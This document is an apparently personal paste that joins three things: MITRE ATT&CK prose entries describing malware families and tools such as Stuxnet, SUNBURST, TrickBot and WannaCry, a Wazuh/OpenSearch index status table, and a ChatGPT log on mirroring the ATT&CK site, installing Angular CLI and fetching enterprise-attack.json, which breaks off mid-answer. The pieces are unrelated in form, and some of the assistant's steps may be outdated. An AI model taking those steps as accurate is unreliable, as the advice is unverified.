S1034StrifeWaterStrifeWater is a remote-access tool that has been used by Moses Staff in the initial stages of their attacks since at least November 2021.(Citation: Cybereason StrifeWater Feb 2022)
S0491StrongPityStrongPity is an information stealing malware used by PROMETHIUM.(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)
S0603StuxnetStuxnet was the first publicly reported piece of malware to specifically target industrial control systems devices. Stuxnet is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) Stuxnet was discovered in 2010, with some components being used as early as November 2008.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)
S1042SUGARDUMPSUGARDUMP is a proprietary browser credential harvesting tool that was used by UNC3890 during the C0010 campaign. The first known SUGARDUMP version was used since at least early 2021, a second SMTP C2 version was used from late 2021-early 2022, and a third HTTP C2 variant was used since at least April 2022.(Citation: Mandiant UNC3890 Aug 2022)
S1049SUGARUSHSUGARUSH is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. SUGARUSH was first identified during analysis of UNC3890’s C0010 campaign targeting Israeli companies, which began in late 2020.(Citation: Mandiant UNC3890 Aug 2022)
S0559SUNBURSTSUNBURST is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by APT29 since at least February 2020.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)
S0562SUNSPOTSUNSPOT is an implant that injected the SUNBURST backdoor into the SolarWinds Orion software update framework. It was used by APT29 since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021)
S0578SUPERNOVASUPERNOVA is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of APT29’s SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests SUPERNOVA may have been used by the China-based threat group SPIRAL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: SolarWinds Advisory Dec 2020)(Citation: CISA Supernova Jan 2021)(Citation: Microsoft Analyzing Solorigate Dec 2020)
S1064SVCReadySVCReady is a loader that has been used since at least April 2022 in malicious spam campaigns. Security researchers have noted overlaps between TA551 activity and SVCReady distribution, including similarities in file names, lure images, and identical grammatical errors.(Citation: HP SVCReady Jun 2022)
S0018SykipotSykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)
S0242SynAckSynAck is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)
S0519SYNful KnockSYNful Knock is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim’s network and provide new capabilities to the adversary.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution)
S0060Sys10Sys10 is a backdoor that was used throughout 2013 by Naikon. (Citation: Baumgartner Naikon 2015)
S0464SYSCONSYSCON is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. SYSCON has been delivered by the CARROTBALL and CARROTBAT droppers.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)
S0096SysteminfoSysteminfo is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)
S0663SysUpdateSysUpdate is a backdoor written in C++ that has been used by Threat Group-3390 since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)
S0098T9000T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)
S0011TaidoorTaidoor is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021) Taidoor has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor)
S0586TAINTEDSCRIBETAINTEDSCRIBE is a fully-featured beaconing implant integrated with command modules used by Lazarus Group. It was first reported in May 2020.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)
S0467TajMahalTajMahal is a multifunctional spying framework that has been in use since at least 2014. TajMahal is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.(Citation: Kaspersky TajMahal April 2019)
S1011TarraskTarrask is malware that has been used by HAFNIUM since at least August 2021. Tarrask was designed to evade digital defenses and maintain persistence by generating concealed scheduled tasks.(Citation: Tarrask scheduled task)
S0057TasklistThe Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)
S0164TDTESSTDTESS is a 64-bit .NET binary backdoor used by CopyKittens. (Citation: ClearSky Wilted Tulip July 2017)
S0560TEARDROPTEARDROP is a memory-only dropper that was discovered on some victim machines during investigations related to the SolarWinds Compromise. It was likely used by APT29 since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)
S0146TEXTMATETEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017. (Citation: FireEye FIN7 March 2017)
S0595ThiefQuestThiefQuest is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. ThiefQuest was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links.(Citation: Reed thiefquest fake ransom) Even though ThiefQuest presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)
S0665ThreatNeedleThreatNeedle is a backdoor that has been used by Lazarus Group since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of Lazarus Group’s Manuscrypt (a.k.a. NukeSped) malware family.(Citation: Kaspersky ThreatNeedle Feb 2021)
S0668TinyTurlaTinyTurla is a backdoor that has been used by Turla against targets in the US, Germany, and Afghanistan since at least 2020.(Citation: Talos TinyTurla September 2021)
S0131TINYTYPHONTINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)
S0004TinyZBotTinyZBot is a bot written in C# that was developed by Cleaver. (Citation: Cylance Cleaver)
S0671TomirisTomiris is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between Tomiris and GoldMax.(Citation: Kaspersky Tomiris Sep 2021)
S0183TorTor is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. Tor utilizes “Onion Routing,” in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)
S0678TorismaTorisma is a second stage implant designed for specialized monitoring that has been used by Lazarus GroupTorisma was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.(Citation: McAfee Lazarus Nov 2020)
S0682TrailBlazerTrailBlazer is a modular malware that has been used by APT29 since at least 2019.(Citation: CrowdStrike StellarParticle January 2022)
S0266TrickBotTrickBot is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to DyreTrickBot was developed and initially used by Wizard Spider for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of “big game hunting” ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)
S0609TRITONThis entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS.

TRITON is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. TRITON was deployed against at least one target in the Middle East. (Citation: FireEye TRITON 2017)(Citation: FireEye TRITON 2018)(Citation: Dragos TRISIS)(Citation: CISA HatMan)(Citation: FireEye TEMP.Veles 2018)
S0094Trojan.KaraganyTrojan.Karagany is a modular remote access tool used for recon and linked to Dragonfly. The source code for Trojan.Karagany originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY )
S0001Trojan.MebromiTrojan.Mebromi is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)
S0178TruvasysTruvasys is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)
S0436TSCookieTSCookie is a remote access tool (RAT) that has been used by BlackTech in campaigns against Japanese targets.(Citation: JPCert TSCookie March 2018)(Citation: JPCert BlackTech Malware September 2019). TSCookie has been referred to as PLEAD though more recent reporting indicates a separation between the two.(Citation: JPCert PLEAD Downloader June 2018)(Citation: JPCert BlackTech Malware September 2019)
S0647TurianTurian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)
S0199TURNEDUPTURNEDUP is a non-public backdoor. It has been dropped by APT33’s StoneDrill malware. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)
S0263TYPEFRAMETYPEFRAME is a remote access tool that has been used by Lazarus Group. (Citation: US-CERT TYPEFRAME June 2018)
S0116UACMeUACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)
S0333UBoatRATUBoatRAT is a remote access tool that was identified in May 2017.(Citation: PaloAlto UBoatRAT Nov 2017)
S0221UmbreonA Linux rootkit that provides backdoor access and hides from defenders.
S0130Unknown LoggerUnknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)
S0275UPPERCUTUPPERCUT is a backdoor that has been used by menuPass. (Citation: FireEye APT10 Sept 2018)
S0022UroburosUroburos is a rootkit used by Turla. (Citation: Kaspersky Turla)
S0386UrsnifUrsnif is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, Spearphishing Attachments, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) Ursnif is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)
S0452USBferryUSBferry is an information stealing malware and has been used by Tropic Trooper in targeted attacks against Taiwanese and Philippine air-gapped military environments. USBferry shares an overlapping codebase with YAHOYAH, though it has several features which makes it a distinct piece of malware.(Citation: TrendMicro Tropic Trooper May 2020)
S0136USBStealerUSBStealer is malware that has been used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL. (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)
S0476ValakValak is a multi-stage modular malware that can function as a standalone information stealer or downloader, first observed in 2019 targeting enterprises in the US and Germany.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)
S0636VaporRageVaporRage is a shellcode downloader that has been used by APT29 since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)
S0207VasportVasport is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)
S0442VBShowerVBShower is a backdoor that has been used by Inception since at least 2019. VBShower has been used as a downloader for second stage payloads, including PowerShower.(Citation: Kaspersky Cloud Atlas August 2019)
S0257VERMINVERMIN is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. (Citation: Unit 42 VERMIN Jan 2018)
S0180VolgmerVolgmer is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)
S0366WannaCryWannaCry is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)
IDNameDescription
S0670WarzoneRATWarzoneRAT is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)
S0612WastedLockerWastedLocker is a ransomware family attributed to Indrik Spider that has been used since at least May 2020. WastedLocker has been used against a broad variety of sectors, including manufacturing, information technology, and media.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020)
S0579WaterbearWaterbear is modular malware attributed to BlackTech that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.(Citation: Trend Micro Waterbear December 2019)
S0109WEBC2WEBC2 is a family of backdoor malware used by APT1 as early as July 2006. WEBC2 backdoors are designed to retrieve a webpage, with commands hidden in HTML comments or special tags, from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1)
S0515WellMailWellMail is a lightweight malware written in Golang used by APT29, similar in design and structure to WellMess.(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)
S0514WellMessWellMess is lightweight malware family with variants written in .NET and Golang that has been in use since at least 2018 by APT29.(Citation: CISA WellMess July 2020)(Citation: PWC WellMess July 2020)(Citation: NCSC APT29 July 2020)
S0645WevtutilWevtutil is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.(Citation: Wevtutil Microsoft Documentation)
S0689WhisperGateWhisperGate is a multi-stage wiper designed to look like ransomware that has been used against multiple government, non-profit, and information technology organizations in Ukraine since at least January 2022.(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)
S0206WiarpWiarp is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)
S0005Windows Credential EditorWindows Credential Editor is a password dumping tool. (Citation: Amplia WCE)
S0155WINDSHIELDWINDSHIELD is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)
S0466WindTailWindTail is a macOS surveillance implant used by WindshiftWindTail shares code similarities with Hack Back aka KitM OSX.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)
S0219WINERACKWINERACK is a backdoor used by APT37. (Citation: FireEye APT37 Feb 2018)
S0191WinexeWinexe is a lightweight, open source tool similar to PsExec designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) Winexe is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)
S0176WingbirdWingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)
S0059WinMMWinMM is a full-featured, simple backdoor used by Naikon. (Citation: Baumgartner Naikon 2015)
S0430Winnti for LinuxWinnti for Linux is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including Winnti Group. The Windows variant is tracked separately under Winnti for Windows.(Citation: Chronicle Winnti for Linux May 2019)
S0141Winnti for WindowsWinnti for Windows is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, Winnti Group.(Citation: Kaspersky Winnti April 2013)(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)(Citation: 401 TRG Winnti Umbrella May 2018). The Linux variant is tracked separately under Winnti for Linux.(Citation: Chronicle Winnti for Linux May 2019)
S0041WiperWiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)
S1065Woody RATWoody RAT is a remote access trojan (RAT) that has been used since at least August 2021 against Russian organizations.(Citation: MalwareBytes WoodyRAT Aug 2022)
S0161XAgentOSXXAgentOSX is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. (Citation: XAgentOSX 2017)
S0341XbashXbash is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. Xbash was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.(Citation: Unit42 Xbash Sept 2018)
S0653xCaonxCaon is an HTTP variant of the BoxCaon malware family that has used by IndigoZebra since at least 2014. xCaon has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)
S0123xCmdxCmd is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems. (Citation: xCmd)
S0658XCSSETXCSSET is a macOS modular backdoor that targets Xcode application developers. XCSSET was first observed in August 2020 and has been used to install a backdoor component, modify browser applications, conduct collection, and provide ransomware-like encryption capabilities.(Citation: trendmicro xcsset xcode project 2020)
S0117XTunnelXTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)
S0388YAHOYAHYAHOYAH is a Trojan used by Tropic Trooper as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)
S0248ytyyty is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)
S0251ZebrocyZebrocy is a Trojan that has been used by APT28 since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020)
S0027ZeroaccessZeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)
S0230ZeroTZeroT is a Trojan used by TA459, often in conjunction with PlugX. (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)
S0330Zeus PandaZeus Panda is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. Zeus Panda’s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)
S0086ZLibZLib is a full-featured backdoor that was used as a second-stage implant during Operation Dust Storm since at least 2014. ZLib is malware and should not be confused with the legitimate compression library from which its name is derived.(Citation: Cylance Dust Storm)
S0672ZoxZox is a remote access tool that has been used by Axiom since at least 2008.(Citation: Novetta-Axiom)
S0350zwShellzwShell is a remote access tool (RAT) written in Delphi that has been seen in the wild since the spring of 2010 and used by threat actors during Night Dragon.(Citation: McAfee Night Dragon)
S0412ZxShellZxShell is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014)
S1013ZxxZZxxZ is a trojan written in Visual C++ that has been used by BITTER since at least August 2021, including against Bangladeshi government personnel.(Citation: Cisco Talos Bitter Bangladesh May 2022)

Indexes (13)

Refresh

Actions

Create Index Search

Show data stream indexes

Index

Health

Managed by policy

Status

Total size

Size of primaries

Total documents

Deleted documents

Primaries

Replicas

wazuh-statistics-2025.5w green No open 438.1kb 438.1kb 161 0 1 0

wazuh-states-vulnerabilities-wazuh.manager green No open 21.4kb 21.4kb 2 0 1 0

wazuh-monitoring-2025.5w green No open 80.1kb 80.1kb 22 0 1 0

wazuh-alerts-4.x-2025.01.30 green No open 423.7kb 423.7kb 33 0 3 0

wazuh-alerts-4.x-2025.01.29 green No open 500.8kb 500.8kb 46 0 3 0

wazuh-alerts-4.x-2025.01.28 green No open 210.3kb 210.3kb 18 0 3 0

.ql-datasources green No open 208b 208b 0 0 1 0

.plugins-ml-config green No open 3.9kb 3.9kb 1 0 1 0

.opensearch-observability green No open 208b 208b 0 0 1 0

.opendistro_security green No open 77.5kb 77.5kb 10 0 1 0

.opendistro-reports-instances green No open 208b 208b 0 0 1 0

.opendistro-reports-definitions green No open 208b 208b 0 0 1 0

.kibana_1 green No open 153kb 153kb 8 0 1 0

To build or clone a website like MITRE ATT&CK for offline viewing and navigation, you'll need to follow a few steps. However, it’s essential to remember that cloning or downloading a website's content may violate copyright or usage terms unless the website explicitly allows for this kind of use.

If you're building an offline version of a site for personal use or educational purposes, here’s a general outline of how you might proceed:

2. Download the Website’s Content (Web Scraping)

If MITRE ATT&CK doesn't provide an API or offline dataset, you can use a tool to scrape the content. Some popular web scraping tools include:

  • HTTrack (Windows/Linux): This tool allows you to download a website and navigate it offline.

    • Visit: HTTrack
    • Install and use it to mirror the site. You’ll need to configure the tool to download everything, including the resources like images, JavaScript, and CSS.
  • Wget (Linux/macOS/Windows): A command-line tool that allows you to download all resources of a website.

    bash

    Copy

    wget -r -np -k https://attack.mitre.org/

    • -r: Recursive download
    • -np: Don’t ascend to parent directories
    • -k: Convert links to make them suitable for offline viewing
  • SiteSucker (Mac): Another tool for Mac that can mirror websites for offline use.

These tools will download the HTML, CSS, images, and other media files necessary for browsing the site offline.

3. Set Up Local Server (Optional)

For more complex websites with interactive elements (like MITRE ATT&CK), setting up a local server might be necessary. Here’s how you could do it:

  • Local Server: Install a simple web server (like Apache, Nginx, or Python’s built-in HTTP server) to serve the files locally.

  • For example, using Python’s built-in server:

    bash

    Copy

    cd /path/to/downloaded/website python3 -m http.server 8000

    This command will start a local server, and you can access the offline site at http://localhost:8000.

4. Ensure Navigation Works Offline

Some websites rely on JavaScript and AJAX to load data dynamically. If MITRE ATT&CK uses such features, downloading static files may not be enough. You may need to replicate the behavior of the dynamic features offline. This could involve:

  • Ensuring all JavaScript resources are downloaded and locally accessible.
  • Checking that links and resources (e.g., icons, scripts, stylesheets) are correctly referenced in local paths.

5. Use the API (Preferred)

If MITRE provides an API (like the ATT&CK API), it’s usually better to access data through the API, which is more structured and less prone to breaking as the website evolves.

  • Visit: MITRE ATT&CK API
  • You can fetch data and store it locally in a database, and then build your own offline interface or app to display it.

6. Alternatives: Mirror Data

MITRE ATT&CK also offers downloadable datasets (like JSON) for different use cases. Instead of cloning the entire website, you could use their data:

  • Visit MITRE ATT&CK Downloadable Data.

7. Test Your Offline Site

  • After downloading the site and setting up everything locally, make sure to test the navigation. Ensure that the pages load correctly and the interactive elements work without any internet connection.

Ensure that your offline use of the website doesn’t violate any terms, and that you're not using or distributing the content in a way that would breach copyright laws or the site's usage policies.

Would you like help with specific steps, such as setting up a server or downloading content using one of these tools?

You said:

Run ng serve within the nav-app directory Navigate to localhost:4200 in browser what is ng and how do i install on arch

ChatGPT said:

The command ng serve is used to start an Angular development server. Angular is a popular framework for building web applications. The ng command is part of the Angular CLI (Command Line Interface), which is a tool that helps in creating, developing, testing, and deploying Angular applications.

Steps to Install Angular CLI on Arch Linux

Here’s how you can install the Angular CLI and use ng serve on your Arch Linux system:

1. Install Node.js (if not already installed)

Angular CLI requires Node.js, so if you don’t have it installed, follow these steps:

  • Update your package database:

    bash

    Copy

    sudo pacman -Syu

  • Install Node.js and npm (Node Package Manager):

    bash

    Copy

    sudo pacman -S nodejs npm

You can verify the installation with:

bash

Copy

node -v npm -v

2. Install Angular CLI

Once Node.js is installed, you can install the Angular CLI globally using npm (the Node Package Manager).

  • Install Angular CLI globally:

    bash

    Copy

    sudo npm install -g @angular/cli

  • After the installation is complete, you can verify the ng command by running:

    bash

    Copy

    ng version

This will show the installed version of Angular CLI, confirming that the ng command is available.

3. Navigate to Your Angular Project (nav-app)

Once Angular CLI is installed, navigate to the directory where your Angular project (e.g., nav-app) is located.

bash

Copy

cd /path/to/your/nav-app

4. Run ng serve

In your project directory (nav-app), run the following command to start the Angular development server:

bash

Copy

ng serve

This will compile your Angular app and start a local development server at http://localhost:4200. You should see output in the terminal similar to this:

sql

Copy

✔ Compiled successfully. You can now view your app in the browser. Local: http://localhost:4200

5. Access the Application

Now, open your browser and navigate to:

arduino

Copy

http://localhost:4200

You should see your Angular application running.


Summary:

  • ng: This is the command-line interface (CLI) for Angular. It helps with various development tasks like creating, serving, and building Angular applications.
  • To install Angular CLI on Arch Linux:
    1. Install Node.js: sudo pacman -S nodejs npm
    2. Install Angular CLI globally: sudo npm install -g @angular/cli
    3. Navigate to your project folder and run ng serve.
    4. Visit http://localhost:4200 in your browser to view your app.

Let me know if you need help with any specific part of the process!

You said:

how do i configure u block origin to stop blocking the site https://music.youtube.com

ChatGPT said:

If uBlock Origin is blocking music.youtube.com (or any specific site) and you'd like to stop it from doing so, you can configure uBlock Origin to whitelist the site. Here’s how to do it:

Steps to Whitelist a Site in uBlock Origin

1. Open uBlock Origin Dashboard

  • Click on the uBlock Origin icon in your browser's toolbar.
  • Then click the gear icon (⚙️) to open the uBlock Origin settings.

2. Go to the "Whitelist" Tab

  • In the Dashboard window, go to the "Whitelist" tab. This is where you can specify which websites should bypass uBlock Origin.

3. Add the URL to the Whitelist

  • In the "Whitelist" tab, you should see a field labeled "Whitelist" with an empty space to add URLs.
  • Add music.youtube.com (or any other specific URL you want to whitelist) to the list.
    • Simply enter: https://music.youtube.com
  • Press Enter to confirm.

4. Use the "Disable for This Site" Option (Temporary)

If you don’t want to permanently whitelist the site but just need to unblock it temporarily, you can also do it using the uBlock Origin popup:

  • Visit https://music.youtube.com.
  • Click the uBlock Origin icon in the browser toolbar.
  • Click the large power button (🔴) at the bottom of the popup to disable uBlock Origin on that site only.

This will allow you to browse the site without blocking anything for the duration of your session.

5. Check the Filters

Sometimes, even with the site whitelisted, specific elements may still be blocked due to certain filters. You can check this by disabling specific filters:

  • Go to the "Filters" tab in the uBlock Origin settings.
  • Uncheck any filters that might be causing the site to be blocked (for example, some privacy or advertising filters).

6. Check for Custom Rules (Optional)

If you have custom rules set for specific sites, you can review them:

  • In the "My Filters" tab, check if any custom rules block the site.
  • If you find a custom rule that blocks music.youtube.com, you can remove or modify it.

Summary:

  • Permanent solution: Whitelist https://music.youtube.com in the Whitelist tab of uBlock Origin.
  • Temporary solution: Use the Disable for This Site option directly in the uBlock Origin popup.
  • Filters: If the site is still being blocked, check your active filters and custom rules.

Let me know if you need help with any of these steps!

You said:

FileNotFoundError: [Errno 2] No such file or directory: '/home/dante/Documents/mitreattack-python/enterprise-attack.json' WHRE DO I GET THIS DATA

ChatGPT said:

The error message FileNotFoundError: [Errno 2] No such file or directory: '/home/dante/Documents/mitreattack-python/enterprise-attack.json' indicates that the script or program you're running is trying to access a file named enterprise-attack.json, but it cannot find it at the specified location.

The MITRE ATT&CK framework provides structured data for adversary tactics, techniques, and procedures. It looks like your script is trying to access the Enterprise ATT&CK data in JSON format, which you can get from the official MITRE ATT&CK repository.

How to Get the enterprise-attack.json File

You can download the MITRE ATT&CK Enterprise dataset from MITRE’s official repository.

Option 1: Download the Data from MITRE's GitHub Repository

  1. Visit the MITRE ATT&CK GitHub repository: Go to the MITRE ATT&CK repository for Enterprise ATT&CKhttps://github.com/mitre/cti

  2. Download the JSON data:

    • On the repository page, click on the "Releases" section or navigate directly to the releases page: https://github.com/mitre/cti/releases.
    • Look for the latest release and download the enterprise-attack JSON file (e.g., enterprise-attack.json).
  3. Save it to the specified location: Save the file (enterprise-attack.json) in the /home/dante/Documents/mitreattack-python/ directory on your machine, as indicated by the path in your error.

Option 2: Use the MITRE ATT&CK Python Client (If Available)

If you're using a Python client or tool to interact with the MITRE ATT&CK data, it might have the ability to automatically fetch or update the JSON file from the repository. You can check the documentation or code for how to configure the tool to download the latest ATT&CK data.

Here’s an example of how you might programmatically download the file (if your tool supports it) using Python:

python

Copy

import requests url = "https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json" response = requests.get(url) if response.status_code == 200: with open("/home/dante/Documents/mitreattack-python/enterprise-attack.json", "wb") as f: f.write(response.content) else: print(f"Failed to fetch the data. Status code: {response.status_code}")

This will download the enterprise-attack.json file from MITRE’s GitHub and save it to your specified directory.

Option 3: Use MITRE's ATT&CK Navigator

You can also access the data through MITRE's ATT&CK Navigator, which allows you to view, filter, and export the ATT&CK data in different formats, including JSON. Visit the ATT&CK Navigator page here: https://attack.mitre.org/resources/


Summary:

  1. Download the enterprise-attack.json file from the MITRE ATT&CK GitHub repository https://github.com/mitre/cti/releases.
  2. Place it in the directory /home/dante/Documents/mitreattack-python/ on your system.
  3. Alternatively, automate downloading the file using Python with the requests library.

Let me know if you need further clarification or assistance!

You said:

after that how do ius =e this mtre-attack python to intreact with this data

ChatGPT said:

To interact with the MITRE ATT&CK data using the mitreattack-python library after you have downloaded the enterprise-attack.json file, you'll need to follow a few steps to load the data, query it, and use it in your application.

Here’s a general guide on how to do that:

1. Install mitreattack-python Library

First, make sure you have installed the mitreattack-python library. You can install it via pip if you haven’t already:

bash

Copy

